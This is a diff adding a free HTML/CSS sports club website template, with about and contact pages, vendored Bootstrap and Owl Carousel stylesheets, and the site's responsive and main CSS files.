add sports club template
143
web/sport/club/about.html
Normal file
@@ -0,0 +1,143 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<title>yogast</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" href="css/style.css">
|
||||
<!-- responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- awesome fontfamily -->
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
|
||||
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||
</head>
|
||||
<!-- body -->
|
||||
<body class="main-layout inner_page">
|
||||
<!-- loader -->
|
||||
<div class="loader_bg">
|
||||
<div class="loader"><img src="images/loading.gif" alt="" /></div>
|
||||
</div>
|
||||
<!-- end loader -->
|
||||
<div id="mySidepanel" class="sidepanel">
|
||||
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
|
||||
<a href="index.html">Home</a>
|
||||
<a class="active" href="about.html">About</a>
|
||||
<a href="games.html">Games</a>
|
||||
<a href="tranner.html">Tranner</a>
|
||||
<a href="contact.html">Contact</a>
|
||||
</div>
|
||||
<!-- header -->
|
||||
<header>
|
||||
<!-- header inner -->
|
||||
<div class="head-top">
|
||||
<div class="container-fluid">
|
||||
<div class="row d_flex">
|
||||
<div class="col-sm-3">
|
||||
<div class="logo">
|
||||
<a href="index.html"><img src="images/logo.png" /></a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-sm-9">
|
||||
<ul class="email text_align_right">
|
||||
<li><a href="Javascript:void(0)"><i class="fa fa-user" aria-hidden="true"></i></a></li>
|
||||
<li><a href="Javascript:void(0)"><i class="fa fa-search" aria-hidden="true"></i></a></li>
|
||||
<li> <button class="openbtn" onclick="openNav()"><img src="images/menu_btn.png"></button></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
<!-- end header -->
|
||||
<!-- about -->
|
||||
<div class="about">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="titlepage text_align_center">
|
||||
<h2>About Our Club</h2>
|
||||
<p>n some form, by injected humour, or randomised</p>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-12">
|
||||
<div class="about_img">
|
||||
<figure><img class="img_responsive" src="images/about_img.png" alt="#"/></figure>
|
||||
<div class="abo_btn">
|
||||
<a href="Javascript:void(0)"><img src="images/about_btn.png" alt="#"/></a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- end about -->
|
||||
<!-- footer -->
|
||||
<footer>
|
||||
<div class="footer">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<h3>Follow Us</h3>
|
||||
<ul class="social_icon text_align_center">
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
<div class="conta text_align_center">
|
||||
<ul>
|
||||
<li> <a href="Javascript:void(0)"><img src="images/call.png" alt="#"/> Call +01 1234567890
|
||||
</a>
|
||||
</li>
|
||||
<li> <a href="Javascript:void(0)"><img src="images/mall.png" alt="#"/> demo@gmail.com
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<div class="menu_bottom text_align_center">
|
||||
<ul>
|
||||
<li><a href="index.html">Home</a></li>
|
||||
<li><a href="about.html">About</a></li>
|
||||
<li><a href="games.html">Games</a></li>
|
||||
<li><a href="tranner.html">Tranner</a></li>
|
||||
<li><a href="contact.html">Contact</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="copyright text_align_center">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<p>© 2020 All Rights Reserved. <a href="https://html.design/"> Free Html Template</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
<!-- end footer -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
159
web/sport/club/contact.html
Normal file
@@ -0,0 +1,159 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<!-- basic -->
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<!-- mobile metas -->
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
|
||||
<!-- site metas -->
|
||||
<title>yogast</title>
|
||||
<meta name="keywords" content="">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
<!-- bootstrap css -->
|
||||
<link rel="stylesheet" href="css/bootstrap.min.css">
|
||||
<!-- style css -->
|
||||
<link rel="stylesheet" href="css/style.css">
|
||||
<!-- responsive-->
|
||||
<link rel="stylesheet" href="css/responsive.css">
|
||||
<!-- awesome fontfamily -->
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
|
||||
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
||||
</head>
|
||||
<!-- body -->
|
||||
<body class="main-layout inner_page">
|
||||
<!-- loader -->
|
||||
<div class="loader_bg">
|
||||
<div class="loader"><img src="images/loading.gif" alt="" /></div>
|
||||
</div>
|
||||
<!-- end loader -->
|
||||
<div id="mySidepanel" class="sidepanel">
|
||||
<a href="javascript:void(0)" class="closebtn" onclick="closeNav()">×</a>
|
||||
<a href="index.html">Home</a>
|
||||
<a href="about.html">About</a>
|
||||
<a href="games.html">Games</a>
|
||||
<a href="tranner.html">Tranner</a>
|
||||
<a class="active" href="contact.html">Contact</a>
|
||||
</div>
|
||||
<!-- header -->
|
||||
<header>
|
||||
<!-- header inner -->
|
||||
<div class="head-top">
|
||||
<div class="container-fluid">
|
||||
<div class="row d_flex">
|
||||
<div class="col-sm-3">
|
||||
<div class="logo">
|
||||
<a href="index.html"><img src="images/logo.png" /></a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-sm-9">
|
||||
<ul class="email text_align_right">
|
||||
<li><a href="Javascript:void(0)"><i class="fa fa-user" aria-hidden="true"></i></a></li>
|
||||
<li><a href="Javascript:void(0)"><i class="fa fa-search" aria-hidden="true"></i></a></li>
|
||||
<li> <button class="openbtn" onclick="openNav()"><img src="images/menu_btn.png"></button></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
<!-- end header -->
|
||||
<!-- contact -->
|
||||
<div class="contact">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
</div>
|
||||
</div>
|
||||
<div class="row">
|
||||
<div class="col-md-12">
|
||||
<div class="titlepage text_align_center">
|
||||
<h2>Contact Us</h2>
|
||||
</div>
|
||||
</div>
|
||||
<div class=" col-md-10 offset-md-1">
|
||||
<form id="request" class="main_form">
|
||||
<div class="row">
|
||||
<div class="col-md-12 ">
|
||||
<input class="contactus" placeholder="Your Name" type="type" name="Your Name">
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<input class="contactus" placeholder="Phone number" type="type" name="Phone number">
|
||||
</div>
|
||||
<div class="col-md-6">
|
||||
<input class="contactus" placeholder="Email" type="type" name="Email">
|
||||
</div>
|
||||
<div class="col-md-12">
|
||||
<textarea class="textarea" placeholder="Message" type="type" Message="Name">Message</textarea>
|
||||
</div>
|
||||
<div class="col-md-12">
|
||||
<button class="send_btn">Send</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- end contact -->
|
||||
<!-- footer -->
|
||||
<footer>
|
||||
<div class="footer">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<h3>Follow Us</h3>
|
||||
<ul class="social_icon text_align_center">
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-facebook-f"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-twitter"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-linkedin" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-instagram" aria-hidden="true"></i></a></li>
|
||||
<li> <a href="Javascript:void(0)"><i class="fa fa-youtube-play" aria-hidden="true"></i></a></li>
|
||||
</ul>
|
||||
<div class="conta text_align_center">
|
||||
<ul>
|
||||
<li> <a href="Javascript:void(0)"><img src="images/call.png" alt="#"/> Call +01 1234567890
|
||||
</a>
|
||||
</li>
|
||||
<li> <a href="Javascript:void(0)"><img src="images/mall.png" alt="#"/> demo@gmail.com
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<div class="menu_bottom text_align_center">
|
||||
<ul>
|
||||
<li><a href="index.html">Home</a></li>
|
||||
<li><a href="about.html">About</a></li>
|
||||
<li><a href="games.html">Games</a></li>
|
||||
<li><a href="tranner.html">Tranner</a></li>
|
||||
<li><a href="contact.html">Contact</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="copyright text_align_center">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-8 offset-md-2">
|
||||
<p>© 2020 All Rights Reserved. <a href="https://html.design/"> Free Html Template</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
<!-- end footer -->
|
||||
<!-- Javascript files-->
|
||||
<script src="js/jquery.min.js"></script>
|
||||
<script src="js/bootstrap.bundle.min.js"></script>
|
||||
<script src="js/jquery-3.0.0.min.js"></script>
|
||||
<script src="js/custom.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
8950
web/sport/club/css/bootstrap.css
vendored
Normal file
7
web/sport/club/css/bootstrap.min.css
vendored
Normal file
4
web/sport/club/css/font-awesome.min.css
vendored
Normal file
1
web/sport/club/css/jquery.mCustomScrollbar.min.css
vendored
Normal file
186
web/sport/club/css/owl.carousel.css
Normal file
@@ -0,0 +1,186 @@
|
||||
/**
|
||||
* Owl Carousel v2.3.4
|
||||
* Copyright 2013-2018 David Deutsch
|
||||
* Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
|
||||
*/
|
||||
/*
|
||||
* Owl Carousel - Core
|
||||
*/
|
||||
.owl-carousel {
|
||||
display: none;
|
||||
width: 100%;
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
/* position relative and z-index fix webkit rendering fonts issue */
|
||||
position: relative;
|
||||
z-index: 1; }
|
||||
.owl-carousel .owl-stage {
|
||||
position: relative;
|
||||
-ms-touch-action: pan-Y;
|
||||
touch-action: manipulation;
|
||||
-moz-backface-visibility: hidden;
|
||||
/* fix firefox animation glitch */ }
|
||||
.owl-carousel .owl-stage:after {
|
||||
content: ".";
|
||||
display: block;
|
||||
clear: both;
|
||||
visibility: hidden;
|
||||
line-height: 0;
|
||||
height: 0; }
|
||||
.owl-carousel .owl-stage-outer {
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
/* fix for flashing background */
|
||||
-webkit-transform: translate3d(0px, 0px, 0px); }
|
||||
.owl-carousel .owl-wrapper,
|
||||
.owl-carousel .owl-item {
|
||||
-webkit-backface-visibility: hidden;
|
||||
-moz-backface-visibility: hidden;
|
||||
-ms-backface-visibility: hidden;
|
||||
-webkit-transform: translate3d(0, 0, 0);
|
||||
-moz-transform: translate3d(0, 0, 0);
|
||||
-ms-transform: translate3d(0, 0, 0); }
|
||||
.owl-carousel .owl-item {
|
||||
position: relative;
|
||||
min-height: 1px;
|
||||
float: left;
|
||||
-webkit-backface-visibility: hidden;
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
-webkit-touch-callout: none; }
|
||||
.owl-carousel .owl-item img {
|
||||
display: block;
|
||||
width: 100%; }
|
||||
.owl-carousel .owl-nav.disabled,
|
||||
.owl-carousel .owl-dots.disabled {
|
||||
display: none; }
|
||||
.owl-carousel .owl-nav .owl-prev,
|
||||
.owl-carousel .owl-nav .owl-next,
|
||||
.owl-carousel .owl-dot {
|
||||
cursor: pointer;
|
||||
-webkit-user-select: none;
|
||||
-khtml-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none; }
|
||||
.owl-carousel .owl-nav button.owl-prev,
|
||||
.owl-carousel .owl-nav button.owl-next,
|
||||
.owl-carousel button.owl-dot {
|
||||
background: none;
|
||||
color: inherit;
|
||||
border: none;
|
||||
padding: 0 !important;
|
||||
font: inherit; }
|
||||
.owl-carousel.owl-loaded {
|
||||
display: block; }
|
||||
.owl-carousel.owl-loading {
|
||||
opacity: 0;
|
||||
display: block; }
|
||||
.owl-carousel.owl-hidden {
|
||||
opacity: 0; }
|
||||
.owl-carousel.owl-refresh .owl-item {
|
||||
visibility: hidden; }
|
||||
.owl-carousel.owl-drag .owl-item {
|
||||
-ms-touch-action: pan-y;
|
||||
touch-action: pan-y;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none; }
|
||||
.owl-carousel.owl-grab {
|
||||
cursor: move;
|
||||
cursor: grab; }
|
||||
.owl-carousel.owl-rtl {
|
||||
direction: rtl; }
|
||||
.owl-carousel.owl-rtl .owl-item {
|
||||
float: right; }
|
||||
|
||||
/* No Js */
|
||||
.no-js .owl-carousel {
|
||||
display: block; }
|
||||
|
||||
/*
|
||||
* Owl Carousel - Animate Plugin
|
||||
*/
|
||||
.owl-carousel .animated {
|
||||
animation-duration: 1000ms;
|
||||
animation-fill-mode: both; }
|
||||
|
||||
.owl-carousel .owl-animated-in {
|
||||
z-index: 0; }
|
||||
|
||||
.owl-carousel .owl-animated-out {
|
||||
z-index: 1; }
|
||||
|
||||
.owl-carousel .fadeOut {
|
||||
animation-name: fadeOut; }
|
||||
|
||||
@keyframes fadeOut {
|
||||
0% {
|
||||
opacity: 1; }
|
||||
100% {
|
||||
opacity: 0; } }
|
||||
|
||||
/*
|
||||
* Owl Carousel - Auto Height Plugin
|
||||
*/
|
||||
.owl-height {
|
||||
transition: height 500ms ease-in-out; }
|
||||
|
||||
/*
|
||||
* Owl Carousel - Lazy Load Plugin
|
||||
*/
|
||||
.owl-carousel .owl-item {
|
||||
/**
|
||||
This is introduced due to a bug in IE11 where lazy loading combined with autoheight plugin causes a wrong
|
||||
calculation of the height of the owl-item that breaks page layouts
|
||||
*/ }
|
||||
.owl-carousel .owl-item .owl-lazy {
|
||||
opacity: 0;
|
||||
transition: opacity 400ms ease; }
|
||||
.owl-carousel .owl-item .owl-lazy[src^=""], .owl-carousel .owl-item .owl-lazy:not([src]) {
|
||||
max-height: 0; }
|
||||
.owl-carousel .owl-item img.owl-lazy {
|
||||
transform-style: preserve-3d; }
|
||||
|
||||
/*
|
||||
* Owl Carousel - Video Plugin
|
||||
*/
|
||||
.owl-carousel .owl-video-wrapper {
|
||||
position: relative;
|
||||
height: 100%;
|
||||
background: #000; }
|
||||
|
||||
.owl-carousel .owl-video-play-icon {
|
||||
position: absolute;
|
||||
height: 80px;
|
||||
width: 80px;
|
||||
left: 50%;
|
||||
top: 50%;
|
||||
margin-left: -40px;
|
||||
margin-top: -40px;
|
||||
background: url("owl.video.play.png") no-repeat;
|
||||
cursor: pointer;
|
||||
z-index: 1;
|
||||
-webkit-backface-visibility: hidden;
|
||||
transition: transform 100ms ease; }
|
||||
|
||||
.owl-carousel .owl-video-play-icon:hover {
|
||||
-ms-transform: scale(1.3, 1.3);
|
||||
transform: scale(1.3, 1.3); }
|
||||
|
||||
.owl-carousel .owl-video-playing .owl-video-tn,
|
||||
.owl-carousel .owl-video-playing .owl-video-play-icon {
|
||||
display: none; }
|
||||
|
||||
.owl-carousel .owl-video-tn {
|
||||
opacity: 0;
|
||||
height: 100%;
|
||||
background-position: center center;
|
||||
background-repeat: no-repeat;
|
||||
background-size: contain;
|
||||
transition: opacity 400ms ease; }
|
||||
|
||||
.owl-carousel .owl-video-frame {
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
height: 100%;
|
||||
width: 100%; }
|
||||
6
web/sport/club/css/owl.carousel.min.css
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
/**
|
||||
* Owl Carousel v2.3.4
|
||||
* Copyright 2013-2018 David Deutsch
|
||||
* Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
|
||||
*/
|
||||
.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.owl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!important;font:inherit}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:pan-y;touch-action:pan-y;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item .owl-lazy:not([src]),.owl-carousel .owl-item .owl-lazy[src^=""]{max-height:0}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-play-icon,.owl-carousel .owl-video-playing .owl-video-tn{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%}
|
||||
6
web/sport/club/css/owl.theme.default.min.css
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
/**
|
||||
* Owl Carousel v2.3.4
|
||||
* Copyright 2013-2018 David Deutsch
|
||||
* Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
|
||||
*/
|
||||
.owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highlight-color:transparent}.owl-theme .owl-nav{margin-top:10px}.owl-theme .owl-nav [class*=owl-]{color:#FFF;font-size:14px;margin:5px;padding:4px 7px;background:#D6D6D6;display:inline-block;cursor:pointer;border-radius:3px}.owl-theme .owl-nav [class*=owl-]:hover{background:#869791;color:#FFF;text-decoration:none}.owl-theme .owl-nav .disabled{opacity:.5;cursor:default}.owl-theme .owl-nav.disabled+.owl-dots{margin-top:10px}.owl-theme .owl-dots .owl-dot{display:inline-block;zoom:1}.owl-theme .owl-dots .owl-dot span{width:10px;height:10px;margin:5px 7px;background:#D6D6D6;display:block;-webkit-backface-visibility:visible;transition:opacity .2s ease;border-radius:30px}.owl-theme .owl-dots .owl-dot.active span,.owl-theme .owl-dots .owl-dot:hover span{background:#869791}
|
||||
151
web/sport/club/css/responsive.css
Normal file
@@ -0,0 +1,151 @@
|
||||
/*---------------------------------------------------------------------
|
||||
File Name: responsive.css
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
@media (min-width: 1200px) and (max-width: 1320px) {}
|
||||
|
||||
@media (min-width: 992px) and (max-width: 1199px) {
|
||||
.banner_main {
|
||||
margin: 0 151px;
|
||||
}
|
||||
.club_btn .read_more {
|
||||
max-width: 296px;
|
||||
}
|
||||
.poa_t {
|
||||
padding: 0 30px;
|
||||
}
|
||||
.menu_bottom li {
|
||||
padding: 0 26px;
|
||||
}
|
||||
}
|
||||
|
||||
@media (min-width: 768px) and (max-width: 991px) {
|
||||
.banner_main {
|
||||
margin: 0 151px;
|
||||
}
|
||||
.poa_t {
|
||||
padding: 0 30px;
|
||||
}
|
||||
.footbol {
|
||||
margin-top: -126px;
|
||||
}
|
||||
.club figure img {
|
||||
height: 354px;
|
||||
}
|
||||
.club_btn .read_more {
|
||||
max-width: 220px;
|
||||
}
|
||||
.conta ul li {
|
||||
padding-right: 25px;
|
||||
}
|
||||
.conta ul li a img {
|
||||
padding-right: 5px;
|
||||
}
|
||||
.menu_bottom li {
|
||||
padding: 0 11px;
|
||||
}
|
||||
}
|
||||
|
||||
@media (min-width: 576px) and (max-width: 767px) {
|
||||
header {
|
||||
position: inherit;
|
||||
background: #fff;
|
||||
}
|
||||
.banner_main {
|
||||
margin: 0;
|
||||
}
|
||||
.sm_n0 {
|
||||
display: none;
|
||||
}
|
||||
.tes_n0 {
|
||||
display: inherit;
|
||||
}
|
||||
.poa_t {
|
||||
padding: 0 30px;
|
||||
}
|
||||
.sports_main {
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
.club_btn .read_more {
|
||||
max-width: 174px;
|
||||
height: 64px;
|
||||
line-height: 64px;
|
||||
margin: 0 4px;
|
||||
}
|
||||
.menu_bottom li {
|
||||
padding: 0 16px;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 575px) {
|
||||
header {
|
||||
position: inherit;
|
||||
background: #fff;
|
||||
}
|
||||
.d_none {
|
||||
display: none !important;
|
||||
}
|
||||
.email {
|
||||
padding-top: 0 !important;
|
||||
margin-top: -44px;
|
||||
}
|
||||
.logo {
|
||||
display: block;
|
||||
width: 144px;
|
||||
float: left;
|
||||
}
|
||||
.banner_main {
|
||||
margin: 0;
|
||||
}
|
||||
.sm_n0 {
|
||||
display: none;
|
||||
}
|
||||
.tes_n0 {
|
||||
display: inherit;
|
||||
}
|
||||
.poa_t {
|
||||
padding: 0 30px;
|
||||
top: 58px;
|
||||
}
|
||||
.club h1 {
|
||||
font-size: 37px;
|
||||
}
|
||||
.sports_main {
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
.club figure img {
|
||||
height: 276px;
|
||||
}
|
||||
.footbol {
|
||||
margin-top: -33px;
|
||||
}
|
||||
.dorder {
|
||||
border: #1f1d45 solid 10px;
|
||||
}
|
||||
.foot_img {
|
||||
max-width: 260px;
|
||||
padding: 23px 0 9px 0;
|
||||
}
|
||||
.abo_btn a img {
|
||||
width: 100px;
|
||||
}
|
||||
.titlepage h2 {
|
||||
font-size: 30px;
|
||||
line-height: 35px;
|
||||
}
|
||||
.club_btn .read_more {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.footer {
|
||||
background: #070808;
|
||||
}
|
||||
.conta {
|
||||
text-align: left;
|
||||
}
|
||||
.menu_bottom li {
|
||||
padding: 0px 3px;
|
||||
}
|
||||
.menu_bottom ul li a {
|
||||
font-size: 14px;
|
||||
}
|
||||
}
|
||||
851
web/sport/club/css/style.css
Normal file
@@ -0,0 +1,851 @@
|
||||
/*---------------------------------------------------------------------
|
||||
File Name: style.css
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
|
||||
/*---------------------------------------------------------------------
|
||||
import Fonts
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
@import url('https://fonts.googleapis.com/css?family=Rajdhani:300,400,500,600,700');
|
||||
@import url('https://fonts.googleapis.com/css?family=Poppins:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i');
|
||||
@import url('https://fonts.googleapis.com/css?family=Raleway:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i,900,900i');
|
||||
@import url('https://fonts.googleapis.com/css?family=Open+Sans:400,600,600i,700,700i,800,800i&display=swap');
|
||||
|
||||
/*--------------------------------------------------------------------- import Files ---------------------------------------------------------------------*/
|
||||
|
||||
@import url(font-awesome.min.css);
|
||||
@import url(owl.carousel.min.css);
|
||||
|
||||
/*---------------------------------------------------------------------
|
||||
basic
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
body {
|
||||
color: #666666;
|
||||
font-size: 14px;
|
||||
font-family: 'Poppins', sans-serif;
|
||||
line-height: 1.80857;
|
||||
font-weight: normal;
|
||||
background: url(../images/bg-body.jpg);
|
||||
background-position: center;
|
||||
background-repeat: no-repeat;
|
||||
}
|
||||
|
||||
a {
|
||||
color: #1f1f1f;
|
||||
text-decoration: none !important;
|
||||
outline: none !important;
|
||||
-webkit-transition: all .3s ease-in-out;
|
||||
-moz-transition: all .3s ease-in-out;
|
||||
-ms-transition: all .3s ease-in-out;
|
||||
-o-transition: all .3s ease-in-out;
|
||||
transition: all .3s ease-in-out;
|
||||
}
|
||||
|
||||
h1,
|
||||
h2,
|
||||
h3,
|
||||
h4,
|
||||
h5,
|
||||
h6 {
|
||||
letter-spacing: 0;
|
||||
font-weight: normal;
|
||||
position: relative;
|
||||
padding: 0;
|
||||
font-weight: normal;
|
||||
line-height: normal;
|
||||
color: #111111;
|
||||
margin: 0
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 24px
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 22px
|
||||
}
|
||||
|
||||
h3 {
|
||||
font-size: 18px
|
||||
}
|
||||
|
||||
h4 {
|
||||
font-size: 16px
|
||||
}
|
||||
|
||||
h5 {
|
||||
font-size: 14px
|
||||
}
|
||||
|
||||
h6 {
|
||||
font-size: 13px
|
||||
}
|
||||
|
||||
*,
|
||||
*::after,
|
||||
*::before {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
h1 a,
|
||||
h2 a,
|
||||
h3 a,
|
||||
h4 a,
|
||||
h5 a,
|
||||
h6 a {
|
||||
color: #212121;
|
||||
text-decoration: none!important;
|
||||
opacity: 1
|
||||
}
|
||||
|
||||
button:focus {
|
||||
outline: none;
|
||||
}
|
||||
|
||||
ul,
|
||||
li,
|
||||
ol {
|
||||
margin: 0px;
|
||||
padding: 0px;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
p {
|
||||
margin: 0px;
|
||||
padding: 0;
|
||||
font-weight: 400;
|
||||
font-size: 17px;
|
||||
line-height: 28px;
|
||||
}
|
||||
|
||||
a {
|
||||
color: #222222;
|
||||
text-decoration: none;
|
||||
outline: none !important;
|
||||
}
|
||||
|
||||
a,
|
